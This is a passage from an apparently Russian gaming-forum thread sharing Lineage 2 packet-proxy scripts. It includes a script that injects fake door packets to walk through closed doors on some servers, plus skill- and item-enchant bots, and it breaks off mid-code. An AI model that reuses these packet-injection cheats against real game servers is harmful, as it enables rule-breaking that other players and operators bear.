procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if FromServer and (pck[1]=#$62) then case pck[2] of
#$A0: //точнулся
if CurrEnch<Enchant then
begin
CurrEnch:=CurrEnch+1;
Buf:=#$D0;
WriteH(SubID);
WriteD(SkillID);
WriteD(SkillLvl+CurrEnch);
SendToServerEx(nik);
end;
#$A1: //не точнулся
begin
CurrEnch:=1;

Buf:=#$D0;
WriteH(SubID);
WriteD(SkillID);
WriteD(SkillLvl+CurrEnch);
SendToServerEx(nik);

end;
end;

if FromClient and (pck[1]=#$D0) then
begin
SubID:=ReadH(2);
SkillID:=ReadD(4);
SkillLvl:=ReadD(8)-1;
CurrEnch:=1;
end;
end.



Помогите разобраться что и как в 1вом или есть нормальный рабочий скрипт?
Сам я в скриптовании нуб :hd:
Если я пишу не по теме извините не знал где написать.

Kr1ps
19.04.2012, 16:55
Вот объясните этот скрипт вроде по функциональности должен быть нормальным но он не черта не хочет делать тупо когда точишь в ручную пишит объявления и все(

Помогите разобраться что и как в 1вом или есть нормальный рабочий скрипт?


Первый скрипт помоему вообще какой-то нерабочий..либо не под хф...т.к. я там не нашел даже пакета 5F RequestEnchantItem
впрочем вот... Тык/problem ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

xDontStopx
20.04.2012, 19:53
Открытие любых дверей
//**********************************************
//Открытие/закрытие любых дверей, ворот и т.д. А также проход в дальнейщем через откртую дверь дальше.
//Работает на всех серверах, но пройти через открытую дверь можно на сервере, где нет геодаты (java).
//Чтобы использовать скрипт, выделите нужную вам дверь через Shift + левая кнопка мыши
//**********************************************
var
Bypass: String;
ObjectID, ActionID, Status: Integer;

const
HTML='<html><body><center><img src="L2UI_CH3.herotower_deco"'+
' width=256 height=32><font color="LEVEL">Меню управления во'+
'ротами и дверями</font><br><font color="LEVEL">Автор: Furio'+
'us</font><img src="L2UI.SquareWhite" width=260 height=1><im'+
'g src="L2UI.SquareBlank" width=260 height=4><br1><td><butto'+
'n value="Открыть" action="bypass -h open" width=70 height=1'+
'5 back="sek.cbui94" fore="sek.cbui92"></td><br><td><button '+
'value="Закрыть" action="bypass -h close" width=70 height=15'+
' back="sek.cbui94" fore="sek.cbui92"></td><br></tr><img src'+
'="L2UI.SquareWhite" width=260 height=1><img src="L2UI.Squar'+
'eBlank" width=260 height=4><br1></center></body></html>';

procedure ShowHTML;
begin
buf:=#$0F;
WriteD(5);
WriteS(HTML);
SendToClient;
end;

procedure DoorAction;
begin
buf:=#$4D;
WriteD(ObjectID);
WriteD(Status);
WriteD(0);
WriteD(1);
WriteD(0);
SendToClient;
end;


begin
if FromClient and (pck[1]=#$04) then
begin
ActionID:=ReadC(18);
if ActionID=1 then
begin
ObjectID:=ReadD(2);
ShowHTML;
end;
end;
if FromClient and (pck[1]=#$21) then
begin
Bypass:=ReadS(2);
case Bypass of
'open':Status:=0 and DoorAction;
'close':Status:=1 and DoorAction;
end;
end;
end.

Добавлено через 4 минуты
Enchant
//Автоматизация заточки предметов до необходимого уровня
program Enchant;
{************************************************* *******************************
Возможности скрипта:
--------------------
0.1
+ Панель управления;
+ Затачиваем по очереди все предметы с ItemID пока не переломаем
или не заточим, один предмет всегда остаётся;
0.2
+ исправлен выбор названий предметов из инвентаря;
+ небольшая правка кода;
0.3
+ Проверено на theAbyss (все предметы инвентаря чара видит);
+ исправлена ошибка кода выбора скроллов;
+ исправлена ошибка подсчета суммы предметов;
0.4
+ специально для Miler проверено на La2Titan (затачивал Mantikore Skin Shirt до +7);
+ исправлена процедура InventoryUpdate;
+ изменена логика затачивания;
+ заготовка покупки заточек/вещей;
0.5
+ проверено на L2Fantasy;
+ добавлена проверка, если заточка сбрасывается в 0 без поломки вещи;
+ добавлен код, если надо точить одну вещь (опционально);
0.6
+ изменил выборку ItemId;
0.7
+ исправлено смещение в CreateItemBase для С4, спасибо Mulder

================================================== ==================
Работа скрипта проверялась на локальном Интерлюда сервере,
для С4 не проверялась и поддерживаться далее не будет.
================================================== ==================

Необходимо затариться оружием, заточками и валерьянкой.
Name='Sneks'; //Вписать сюда имя чара
//установить константу в зависимости от типа игры (С4 или Интерлюд)
interlude=true; //Interlude - true, C4 - false

Внимание!
Из комбобокса обязательно надо выбрать вещь, чтобы скрипт узнал
ID и количество, только потом ставить напротив галочку.
Галочки снимать не надо, если кончились заточки/вещи - можно сразу идти
покупать и продолжать заточку.

Скрипт распространяется как есть, и я не несу ответственности за то, что
ВЫ натворили у себя, его используя.

************************************************** ******************************}

//............................................
//Список констант
const
Name='Sneks'; //Вписать сюда имя чара
//установить константу в зависимости от типа игры (С4 или Интерлюд)
interlude=true; //Interlude - true, C4 - false
//-------------------------
max=250; //количество слотов в инвентаре чара

//............................................
//Список переменных
var
Item, scrl:integer;
ScrollID, ScrollOID:integer; //ScrollID скролла заточки
ItemID,ItemOID:integer; //ItemID затачиваемого предмета
MaxEnchLvl:integer; //уровень заточки который требуется достичь
ItemBase: array[1..4,1..max] of integer; //ItemOID, ItemID, Kol-vo, ItemLvl
ready, add : boolean;
timer : TTimer;
ItemCount, CurEnchLvl: integer;
SocialID : integer; // вспомогательная
ItemsName, StringList : TStringList; //названия предметов, имена продавцов
FormMain : TForm; //Создаваемая форма
Splitter1 : TSplitter;
Splitter2 : TSplitter;
Stats : TMemo;
Msg : TMemo;
Panel1 : TPanel;
GroupBox2 : TGroupBox;
Label2 : TLabel;
Label4 : TLabel;
Label12 : TLabel;
Label13 : TLabel;
CheckBoxItem : TCheckBox;
ComboBoxItem : TComboBox;
ButtonStartEnchant : TButton;
ButtonStopEnchant : TButton;
CheckBoxScroll : TCheckBox;
ComboBoxScroll : TComboBox;
EditItemVal : TEdit;
EditScrollVal : TEdit;
EditScrollOID : TEdit;
EditItemOID : TEdit;
Label1 : TLabel;
Label3 : TLabel;
Edit1 : TEdit;
Edit2 : TEdit;
//............................................
//*************************************
//Обработчики событий для элементов управления на форме
//......................................
//CheckBoxItem
procedure CheckBoxItem_Click(Sender: TCheckBox);
//Event : OnClick
begin
if CheckBoxItem.Checked
then begin
ItemOID:=ItemBase[1,ComboBoxItem.ItemIndex+1];
ItemID:=ItemBase[2,ComboBoxItem.ItemIndex+1];
//проверка
// EditItemOID.Text:=Inttostr(ItemID);
// EditItemVal.text:=inttostr(ItemOID);

ComboBoxItem.Enabled:=false; //выключаем
end else begin
ItemID:=0; //отмена
ItemOID:=0;
ComboBoxItem.Enabled:=true; //включаем
//Пакет RequestItemList
buf:=hstr('0F');
SendToServerEx(Name);
end;
end;
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
//Event : OnClick
begin
ItemOID:=ItemBase[1,ComboBoxItem.ItemIndex+1];
ItemID:=ItemBase[2,ComboBoxItem.ItemIndex+1];
// ItemID:=ExtractIDValues(ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]);
EditItemOID.Text:=Inttostr(ItemID);
EditItemVal.text:=inttostr(sumitem(ItemID));
end;
//......................................
//......................................
//CheckBoxScroll
procedure CheckBoxScroll_Click(Sender: TCheckBox);
//Event : OnClick
begin
if CheckBoxScroll.Checked
then begin
ScrollOID:=ItemBase[1,ComboBoxScroll.ItemIndex+1];
ScrollID:=ItemBase[2,ComboBoxScroll.ItemIndex+1];
//проверка
// EditScrollOID.Text:=Inttostr(ScrollID);
// EditScrollVal.text:=inttostr(ScrollOID);
ComboBoxScroll.Enabled:=false; //выключаем
end else begin
ScrollID:=0; //отмена
ScrollOID:=0;
ComboBoxScroll.Enabled:=true; //включаем
//Пакет RequestItemList
buf:=hstr('0F');
SendToServerEx(Name);
end;
end;
//......................................
//......................................
//ComboBoxScroll
procedure ComboBoxScroll_Click(Sender: TComboBox);
//Event : OnClick
begin
ScrollOID:=ItemBase[1,ComboBoxScroll.ItemIndex+1];
ScrollID:=ItemBase[2,ComboBoxScroll.ItemIndex+1];
// ScrollID:=ExtractIDValues(ComboBoxScroll.Items.Str ings[ComboBoxScroll.ItemIndex]);
EditScrollOID.Text:=Inttostr(ScrollID);
EditScrollVal.text:=inttostr(sumitem(ScrollID));
end;
//......................................
//......................................
//ButtonStartEnchant
procedure ButtonStartEnchant_Click(Sender: TButton);
//Event : OnClick
begin
CurEnchLvl:=0;
Edit2.text:=inttostr(CurEnchLvl);
msg.Lines.Add('Команда Старт!!!');
timer.enabled:=true;
end;
//......................................
//......................................
//ButtonStopEnchant
procedure ButtonStopEnchant_Click(Sender: TButton);
//Event : OnClick
begin
msg.Lines.Add('Команда Стоп!!!');
timer.enabled:=false;
ready:=false;
end;
//......................................
//......................................
procedure Edit1_Exit(Sender: TEdit);
//Event : OnExit
begin
// MyHPID:=ExtractIDValues(ComboBoxHPotion.Items.Stri ngs[ComboBoxHPotion.ItemIndex]);
// EditHPotionVal.Text:=Inttostr(FindItem(MyHPID));
// EditHPotionOID.text:=inttostr(ItemBase2[1,1]);
end;
//......................................
//*************************************
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end; //Free_FormMain
//========================
//========================
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Свойства формы
Result.Caption := 'Enchant by xDonTStoPx';
Result.Left := 397;
Result.Top := 233;
Result.Width := 581;
Result.Height := 205;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
//------------------------
//......................................
//Splitter1
Splitter1 := TSplitter.Create(Result);
Splitter1.Parent := Result;
Splitter1.Align := alBottom;
Splitter1.Color := clBtnFace;
Splitter1.Left := 0;
Splitter1.Top := 103;
Splitter1.Width := 573;
Splitter1.Height := 3;
Splitter1.Visible := TRUE;
Splitter1.Tag := 0;
//......................................
//......................................
//Splitter2
Splitter2 := TSplitter.Create(Result);
Splitter2.Parent := Result;
Splitter2.Align := alRight;
Splitter2.Color := clBtnFace;
Splitter2.Left := 442;
Splitter2.Top := 0;
Splitter2.Width := 1;
Splitter2.Height := 103;
Splitter2.Visible := TRUE;
Splitter2.Tag := 0;
//......................................
//......................................
//Stats
Stats := TMemo.Create(Result);
Stats.Parent := Result;
Stats.Left := 443;
Stats.Top := 0;
Stats.Width := 130;
Stats.Height := 103;
Stats.Visible := TRUE;
Stats.Tag := 0;
Stats.Enabled := TRUE;
Stats.Hint := '';
Stats.ShowHint := FALSE;
Stats.Font.Name := 'Tahoma';
Stats.Font.Size := 8;
Stats.Font.Color := clWindowText;
Stats.Color := clWindow;
Stats.TabOrder := 0;
Stats.TabStop := TRUE;
Stats.Align := alRight;
Stats.WordWrap := TRUE;
Stats.Alignment := taLeftJustify;
Stats.WantTabs := FALSE;
Stats.WantReturns := TRUE;
Stats.HideSelection := TRUE;
Stats.MaxLength := 0;
Stats.OEMConvert := FALSE;
Stats.ReadOnly := FALSE;
Stats.ScrollBars := ssNone;
//......................................
//......................................
//Msg
Msg := TMemo.Create(Result);
Msg.Parent := Result;
Msg.Left := 0;
Msg.Top := 106;
Msg.Width := 573;
Msg.Height := 65;
Msg.Visible := TRUE;
Msg.Tag := 0;
Msg.Enabled := TRUE;
Msg.Hint := '';
Msg.ShowHint := FALSE;
Msg.Font.Name := 'Tahoma';
Msg.Font.Size := 8;
Msg.Font.Color := clWindowText;
Msg.Color := clWindow;
Msg.TabOrder := 1;
Msg.TabStop := TRUE;
Msg.Align := alBottom;
Msg.WordWrap := TRUE;
Msg.Alignment := taLeftJustify;
Msg.WantTabs := FALSE;
Msg.WantReturns := TRUE;
Msg.HideSelection := TRUE;
Msg.MaxLength := 0;
Msg.OEMConvert := FALSE;
Msg.ReadOnly := FALSE;
Msg.ScrollBars := ssNone;
//......................................
//......................................
//Panel1
Panel1 := TPanel.Create(Result);
Panel1.Parent := Result;
Panel1.Left := 0;
Panel1.Top := 0;
Panel1.Width := 442;
Panel1.Height := 103;
Panel1.Visible := TRUE;
Panel1.Tag := 0;
Panel1.Enabled := TRUE;
Panel1.Hint := '';
Panel1.ShowHint := FALSE;
Panel1.Caption := '';
Panel1.Align := alClient;
Panel1.Color := clBtnFace;
Panel1.Font.Name := 'Tahoma';
Panel1.Font.Size := 8;
Panel1.Font.Color := clWindowText;
Panel1.Font.CharSet := 1;
Panel1.BevelWidth := 1;
Panel1.BorderWidth := 0;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvRaised;
Panel1.TabOrder := 2;
Panel1.TabStop := FALSE;
Panel1.AutoSize := FALSE;
//......................................
//......................................
//GroupBox2
GroupBox2 := TGroupBox.Create(Result);
GroupBox2.Parent := Panel1;
GroupBox2.Left := 1;
GroupBox2.Top := 1;
GroupBox2.Width := 440;
GroupBox2.Height := 101;
GroupBox2.Visible := TRUE;
GroupBox2.Tag := 0;
GroupBox2.Enabled := TRUE;
GroupBox2.Hint := '';
GroupBox2.ShowHint := FALSE;
GroupBox2.Caption := 'Настройки';
GroupBox2.Align := alClient;
GroupBox2.Color := clBtnFace;
GroupBox2.Font.Name := 'Tahoma';
GroupBox2.Font.Size := 8;
GroupBox2.Font.Color := clWindowText;
GroupBox2.Font.CharSet := 1;
GroupBox2.TabOrder := 0;
GroupBox2.TabStop := FALSE;
//......................................
//......................................
//Label1
Label1 := TLabel.Create(Result);
Label1.Parent := GroupBox2;
Label1.Left := 10;
Label1.Top := 70;
Label1.Width := 58;
Label1.Height := 13;
Label1.Visible := TRUE;
Label1.Tag := 0;
Label1.Enabled := TRUE;
Label1.Hint := '';
Label1.ShowHint := FALSE;
Label1.Caption := 'Уровень Макс.:';
Label1.Transparent := TRUE;
Label1.WordWrap := FALSE;
Label1.Alignment := taLeftJustify;
Label1.Layout := tlTop;
Label1.AutoSize := TRUE;
Label1.Align := alNone;
Label1.Font.Name := 'Tahoma';
Label1.Font.Size := 8;
Label1.Font.Color := clWindowText;
Label1.Color := clBtnFace;
//......................................
//......................................
//Label1
Label3 := TLabel.Create(Result);
Label3.Parent := GroupBox2;
Label3.Left := 170;
Label3.Top := 70;
Label3.Width := 58;
Label3.Height := 13;
Label3.Visible := TRUE;
Label3.Tag := 0;
Label3.Enabled := TRUE;
Label3.Hint := '';
Label3.ShowHint := FALSE;
Label3.Caption := 'Мин.:';
Label3.Transparent := TRUE;
Label3.WordWrap := FALSE;
Label3.Alignment := taLeftJustify;
Label3.Layout := tlTop;
Label3.AutoSize := TRUE;
Label3.Align := alNone;
Label3.Font.Name := 'Tahoma';
Label3.Font.Size := 8;
Label3.Font.Color := clWindowText;
Label3.Color := clBtnFace;
//......................................
//......................................
//Edit1
Edit1 := TEdit.Create(Result);
Edit1.Parent := GroupBox2;
Edit1.Left := 90;
Edit1.Top := 67;
Edit1.Width := 60;
Edit1.Height := 21;
Edit1.Visible := TRUE;
Edit1.Tag := 0;
Edit1.Enabled := TRUE;
Edit1.Hint := 'Введи желаемый уровень заточки';
Edit1.ShowHint := TRUE;
Edit1.Text := '65535';
Edit1.Font.Name := 'Tahoma';
Edit1.Font.Size := 8;
Edit1.Font.Color := clWindowText;
Edit1.Color := clWindow;
Edit1.TabOrder := 5;
Edit1.TabStop := TRUE;
Edit1.ReadOnly := FALSE;
Edit1.MaxLength := 0;
Edit1.AutoSize := TRUE;
Edit1.OnExit := @Edit1_Exit;
//......................................
//......................................
//Edit2
Edit2 := TEdit.Create(Result);
Edit2.Parent := GroupBox2;
Edit2.Left := 199;
Edit2.Top := 67;
Edit2.Width := 60;
Edit2.Height := 21;
Edit2.Visible := TRUE;
Edit2.Tag := 0;
Edit2.Enabled := TRUE;
Edit2.Hint := 'Какого уровня смогли достичь';
Edit2.ShowHint := TRUE;
Edit2.Text := '0';
Edit2.Font.Name := 'Tahoma';
Edit2.Font.Size := 8;
Edit2.Font.Color := clWindowText;
Edit2.Color := clWindow;
Edit2.TabOrder := 5;
Edit2.TabStop := FALSE;
Edit2.ReadOnly := TRUE;
Edit2.MaxLength := 0;
Edit2.AutoSize := TRUE;
//......................................
//......................................
//Label2
Label2 := TLabel.Create(Result);
Label2.Parent := GroupBox2;
Label2.Left := 416;
Label2.Top := 19;
Label2.Width := 18;
Label2.Height := 13;
Label2.Visible := TRUE;
Label2.Tag := 0;
Label2.Enabled := TRUE;
Label2.Hint := '';
Label2.ShowHint := FALSE;
Label2.Caption := 'шт.';
Label2.Transparent := TRUE;
Label2.WordWrap := FALSE;
Label2.Alignment := taLeftJustify;
Label2.Layout := tlTop;
Label2.AutoSize := TRUE;
Label2.Align := alNone;
Label2.Font.Name := 'Tahoma';
Label2.Font.Size := 8;
Label2.Font.Color := clWindowText;
Label2.Color := clBtnFace;
//......................................
//......................................
//Label4
Label4 := TLabel.Create(Result);
Label4.Parent := GroupBox2;
Label4.Left := 416;
Label4.Top := 43;
Label4.Width := 18;
Label4.Height := 13;
Label4.Visible := TRUE;
Label4.Tag := 0;
Label4.Enabled := TRUE;
Label4.Hint := '';
Label4.ShowHint := FALSE;
Label4.Caption := 'шт.';
Label4.Transparent := TRUE;
Label4.WordWrap := FALSE;
Label4.Alignment := taLeftJustify;
Label4.Layout := tlTop;
Label4.AutoSize := TRUE;
Label4.Align := alNone;
Label4.Font.Name := 'Tahoma';
Label4.Font.Size := 8;
Label4.Font.Color := clWindowText;
Label4.Color := clBtnFace;
//......................................
//......................................
//Label12
Label12 := TLabel.Create(Result);
Label12.Parent := GroupBox2;
Label12.Left := 273;
Label12.Top := 3;
Label12.Width := 33;
Label12.Height := 13;
Label12.Visible := TRUE;
Label12.Tag := 0;
Label12.Enabled := TRUE;
Label12.Hint := '';
Label12.ShowHint := FALSE;
Label12.Caption := 'ItemID';
Label12.Transparent := TRUE;
Label12.WordWrap := FALSE;
Label12.Alignment := taLeftJustify;
Label12.Layout := tlTop;
Label12.AutoSize := TRUE;
Label12.Align := alNone;
Label12.Font.Name := 'Tahoma';
Label12.Font.Size := 8;
Label12.Font.Color := clWindowText;
Label12.Color := clBtnFace;
//......................................
//......................................
//Label13
Label13 := TLabel.Create(Result);
Label13.Parent := GroupBox2;
Label13.Left := 349;
Label13.Top := 3;
Label13.Width := 35;
Label13.Height := 13;
Label13.Visible := TRUE;
Label13.Tag := 0;
Label13.Enabled := TRUE;
Label13.Hint := '';
Label13.ShowHint := FALSE;
Label13.Caption := 'Кол-во';
Label13.Transparent := TRUE;
Label13.WordWrap := FALSE;
Label13.Alignment := taLeftJustify;
Label13.Layout := tlTop;
Label13.AutoSize := TRUE;
Label13.Align := alNone;
Label13.Font.Name := 'Tahoma';
Label13.Font.Size := 8;
Label13.Font.Color := clWindowText;
Label13.Color := clBtnFace;
//......................................
//......................................
//CheckBoxItem
CheckBoxItem := TCheckBox.Create(Result);
CheckBoxItem.Parent := GroupBox2;
CheckBoxItem.Left := 18;
CheckBoxItem.Top := 18;
CheckBoxItem.Width := 66;
CheckBoxItem.Height := 17;
CheckBoxItem.Visible := TRUE;
CheckBoxItem.Tag := 0;
CheckBoxItem.Enabled := TRUE;
CheckBoxItem.Hint := 'Поставить галочку если выбрали предмет';
CheckBoxItem.ShowHint := TRUE;
CheckBoxItem.Caption := 'Предмет';
CheckBoxItem.Font.Name := 'Tahoma';
CheckBoxItem.Font.Size := 8;
CheckBoxItem.Font.Color := clWindowText;
CheckBoxItem.Color := clBtnFace;
CheckBoxItem.TabOrder := 0;
CheckBoxItem.TabStop := TRUE;
CheckBoxItem.Checked := FALSE;
CheckBoxItem.AllowGrayed := FALSE;
CheckBoxItem.State := cbUnchecked;
CheckBoxItem.OnClick := @CheckBoxItem_Click;
//......................................
//......................................
//ComboBoxItem
ComboBoxItem := TComboBox.Create(Result);
ComboBoxItem.Parent := GroupBox2;
ComboBoxItem.Left := 90;
ComboBoxItem.Top := 16;
ComboBoxItem.Width := 169;
ComboBoxItem.Height := 21;
ComboBoxItem.Visible := TRUE;
ComboBoxItem.Tag := 0;
ComboBoxItem.Enabled := TRUE;
ComboBoxItem.Hint := 'Выбери из списка затачиваемый предмет';
ComboBoxItem.ShowHint := TRUE;
ComboBoxItem.Text := 'ComboBoxItem';
ComboBoxItem.Font.Name := 'Tahoma';
ComboBoxItem.Font.Size := 8;
ComboBoxItem.Font.Color := clWindowText;
ComboBoxItem.Color := clWindow;
ComboBoxItem.TabOrder := 1;
ComboBoxItem.TabStop := TRUE;
ComboBoxItem.ItemIndex := -1;
ComboBoxItem.Sorted := FALSE;
ComboBoxItem.ItemHeight := 13;
ComboBoxItem.OnClick := @ComboBoxItem_Click;
//......................................
//......................................
//ButtonStartEnchant
ButtonStartEnchant := TButton.Create(Result);
ButtonStartEnchant.Parent := GroupBox2;
ButtonStartEnchant.Left := 265;
ButtonStartEnchant.Top := 67;
ButtonStartEnchant.Width := 75;
ButtonStartEnchant.Height := 25;
ButtonStartEnchant.Visible := TRUE;
ButtonStartEnchant.Tag := 0;
ButtonStartEnchant.Enabled := TRUE;
ButtonStartEnchant.Hint := '';
ButtonStartEnchant.ShowHint := FALSE;
ButtonStartEnchant.Caption := 'Start';
ButtonStartEnchant.Font.Name := 'Tahoma';
ButtonStartEnchant.Font.Size := 8;
ButtonStartEnchant.Font.Color := clWindowText;
ButtonStartEnchant.Font.CharSet := 1;
ButtonStartEnchant.TabOrder := 2;
ButtonStartEnchant.TabStop := TRUE;
ButtonStartEnchant.Cancel := FALSE;
ButtonStartEnchant.ModalResult := 0;
ButtonStartEnchant.OnClick := @ButtonStartEnchant_Click;
//......................................
//......................................
//ButtonStopEnchant
ButtonStopEnchant := TButton.Create(Result);
ButtonStopEnchant.Parent := GroupBox2;
ButtonStopEnchant.Left := 341;
ButtonStopEnchant.Top := 67;
ButtonStopEnchant.Width := 75;
ButtonStopEnchant.Height := 25;
ButtonStopEnchant.Visible := TRUE;
ButtonStopEnchant.Tag := 0;
ButtonStopEnchant.Enabled := TRUE;
ButtonStopEnchant.Hint := '';
ButtonStopEnchant.ShowHint := FALSE;
ButtonStopEnchant.Caption := 'Stop';
ButtonStopEnchant.Font.Name := 'Tahoma';
ButtonStopEnchant.Font.Size := 8;
ButtonStopEnchant.Font.Color := clWindowText;
ButtonStopEnchant.Font.CharSet := 1;
ButtonStopEnchant.TabOrder := 3;
ButtonStopEnchant.TabStop := TRUE;
ButtonStopEnchant.Cancel := FALSE;
ButtonStopEnchant.ModalResult := 0;
ButtonStopEnchant.OnClick := @ButtonStopEnchant_Click;
//......................................
//......................................
//CheckBoxScroll
CheckBoxScroll := TCheckBox.Create(Result);
CheckBoxScroll.Parent := GroupBox2;
CheckBoxScroll.Left := 18;
CheckBoxScroll.Top := 41;
CheckBoxScroll.Width := 66;
CheckBoxScroll.Height := 23;
CheckBoxScroll.Visible := TRUE;
CheckBoxScroll.Tag := 0;
CheckBoxScroll.Enabled := TRUE;
CheckBoxScroll.Hint := 'Поставить галочку если выбрали скролл заточки';
CheckBoxScroll.ShowHint := TRUE;
CheckBoxScroll.Caption := 'Заточка';
CheckBoxScroll.Font.Name := 'Tahoma';
CheckBoxScroll.Font.Size := 8;
CheckBoxScroll.Font.Color := clWindowText;
CheckBoxScroll.Color := clBtnFace;
CheckBoxScroll.TabOrder := 4;
CheckBoxScroll.TabStop := TRUE;
CheckBoxScroll.Checked := FALSE;
CheckBoxScroll.AllowGrayed := FALSE;
CheckBoxScroll.State := cbUnchecked;
CheckBoxScroll.OnClick := @CheckBoxScroll_Click;
//......................................
//......................................
//ComboBoxScroll
ComboBoxScroll := TComboBox.Create(Result);
ComboBoxScroll.Parent := GroupBox2;
ComboBoxScroll.Left := 90;
ComboBoxScroll.Top := 40;
ComboBoxScroll.Width := 169;
ComboBoxScroll.Height := 21;
ComboBoxScroll.Visible := TRUE;
ComboBoxScroll.Tag := 0;
ComboBoxScroll.Enabled := TRUE;
ComboBoxScroll.Hint := 'Выбери из списка скролл заточки';
ComboBoxScroll.ShowHint := TRUE;
ComboBoxScroll.Text := 'ComboBoxScroll';
ComboBoxScroll.Font.Name := 'Tahoma';
ComboBoxScroll.Font.Size := 8;
ComboBoxScroll.Font.Color := clWindowText;
ComboBoxScroll.Color := clWindow;
ComboBoxScroll.TabOrder := 5;
ComboBoxScroll.TabStop := TRUE;
ComboBoxScroll.ItemIndex := -1;
ComboBoxScroll.Sorted := FALSE;
ComboBoxScroll.ItemHeight := 13;
ComboBoxScroll.OnClick := @ComboBoxScroll_Click;
//......................................
//......................................
//EditItemVal
EditItemVal := TEdit.Create(Result);
EditItemVal.Parent := GroupBox2;
EditItemVal.Left := 341;
EditItemVal.Top := 16;
EditItemVal.Width := 72;
EditItemVal.Height := 21;
EditItemVal.Visible := TRUE;
EditItemVal.Tag := 0;
EditItemVal.Enabled := TRUE;
EditItemVal.Hint := '';
EditItemVal.ShowHint := FALSE;
EditItemVal.Text := '0';
EditItemVal.Font.Name := 'Tahoma';
EditItemVal.Font.Size := 8;
EditItemVal.Font.Color := clWindowText;
EditItemVal.Color := clWindow;
EditItemVal.TabOrder := 6;
EditItemVal.TabStop := TRUE;
EditItemVal.ReadOnly := TRUE;
EditItemVal.MaxLength := 0;
EditItemVal.AutoSize := TRUE;
//......................................
//......................................
//EditScrollVal
EditScrollVal := TEdit.Create(Result);
EditScrollVal.Parent := GroupBox2;
EditScrollVal.Left := 341;
EditScrollVal.Top := 40;
EditScrollVal.Width := 72;
EditScrollVal.Height := 21;
EditScrollVal.Visible := TRUE;
EditScrollVal.Tag := 0;
EditScrollVal.Enabled := TRUE;
EditScrollVal.Hint := '';
EditScrollVal.ShowHint := FALSE;
EditScrollVal.Text := '0';
EditScrollVal.Font.Name := 'Tahoma';
EditScrollVal.Font.Size := 8;
EditScrollVal.Font.Color := clWindowText;
EditScrollVal.Color := clWindow;
EditScrollVal.TabOrder := 7;
EditScrollVal.TabStop := TRUE;
EditScrollVal.ReadOnly := TRUE;
EditScrollVal.MaxLength := 0;
EditScrollVal.AutoSize := TRUE;
//......................................
//......................................
//EditScrollOID
EditScrollOID := TEdit.Create(Result);
EditScrollOID.Parent := GroupBox2;
EditScrollOID.Left := 263;
EditScrollOID.Top := 40;
EditScrollOID.Width := 72;
EditScrollOID.Height := 21;
EditScrollOID.Visible := TRUE;
EditScrollOID.Tag := 0;
EditScrollOID.Enabled := TRUE;
EditScrollOID.Hint := '';
EditScrollOID.ShowHint := FALSE;
EditScrollOID.Text := '0';
EditScrollOID.Font.Name := 'Tahoma';
EditScrollOID.Font.Size := 8;
EditScrollOID.Font.Color := clWindowText;
EditScrollOID.Color := clWindow;
EditScrollOID.TabOrder := 8;
EditScrollOID.TabStop := TRUE;
EditScrollOID.ReadOnly := TRUE;
EditScrollOID.MaxLength := 0;
EditScrollOID.AutoSize := TRUE;
//......................................
//......................................
//EditItemOID
EditItemOID := TEdit.Create(Result);
EditItemOID.Parent := GroupBox2;
EditItemOID.Left := 264;
EditItemOID.Top := 16;
EditItemOID.Width := 72;
EditItemOID.Height := 21;
EditItemOID.Visible := TRUE;
EditItemOID.Tag := 0;
EditItemOID.Enabled := TRUE;
EditItemOID.Hint := '';
EditItemOID.ShowHint := FALSE;
EditItemOID.Text := '0';
EditItemOID.Font.Name := 'Tahoma';
EditItemOID.Font.Size := 8;
EditItemOID.Font.Color := clWindowText;
EditItemOID.Color := clWindow;
EditItemOID.TabOrder := 9;
EditItemOID.TabStop := TRUE;
EditItemOID.ReadOnly := TRUE;
EditItemOID.MaxLength := 0;
EditItemOID.AutoSize := TRUE;
//......................................
Yes := TRUE;
FINALLY
if not Yes then begin
//Освобождаем ресурсы, если неудачно ...
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
msg.Lines.Add('Автоматизация заточки by xDonTStoPx!');
Result.Show;
end; //Create_FormMain
//========================
//========================
procedure Init; //Вызывается при включении скрипта
var
i:integer;
begin
FormMain:=Create_FormMain;
//Enchant:=false;
CurEnchLvl:=0;
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=1000; //время задержки
ready:=false;
add:=false;
//Пакет RequestItemList
buf:=hstr('0F');
SendToServerEx(Name);
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
msg.Lines.Add('itemsid.ini не найден!');
exit;
end;
end;
//......................................
//************************************************** ****************************
procedure Free; //Вызывается при выключении скрипта
begin
// ItemBase:=nil; //нельзя так делать с массивом
timer.Free;
StringList.Clear;
ItemsName.Clear;
//достаточно освободить форму
Free_FormMain;
end;
//......................................
//************************************************** ****************************
procedure Say(msg:string);
begin
buf:=hstr('4A 00 00 00 00');
WriteD(2);
WriteS(Name);
WriteS(msg);
SendToClientEx(Name);
end;
//......................................
//************************************************** *************
procedure CreateItemBase; //пакет 1B, Создает базу ObjectID по ItemID
//1B=ItemListPacket:w(window)w(ListCount)w(itemType1 )h(ObjectID)i(ItemID)d(count)w(itemType2)w(CustTyp e1)w(isEquipped)d(BodyPart)w(EnchantLevel)w(CustTy pe2)d(Augment)d(--)
var
i, j, ListCount: integer;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
ItemBase[4,i]:=0; //lvl
end;
j:=4; //смещение для ListCount
ListCount:=ReadH(j); //количество итемов не должно превышать max!
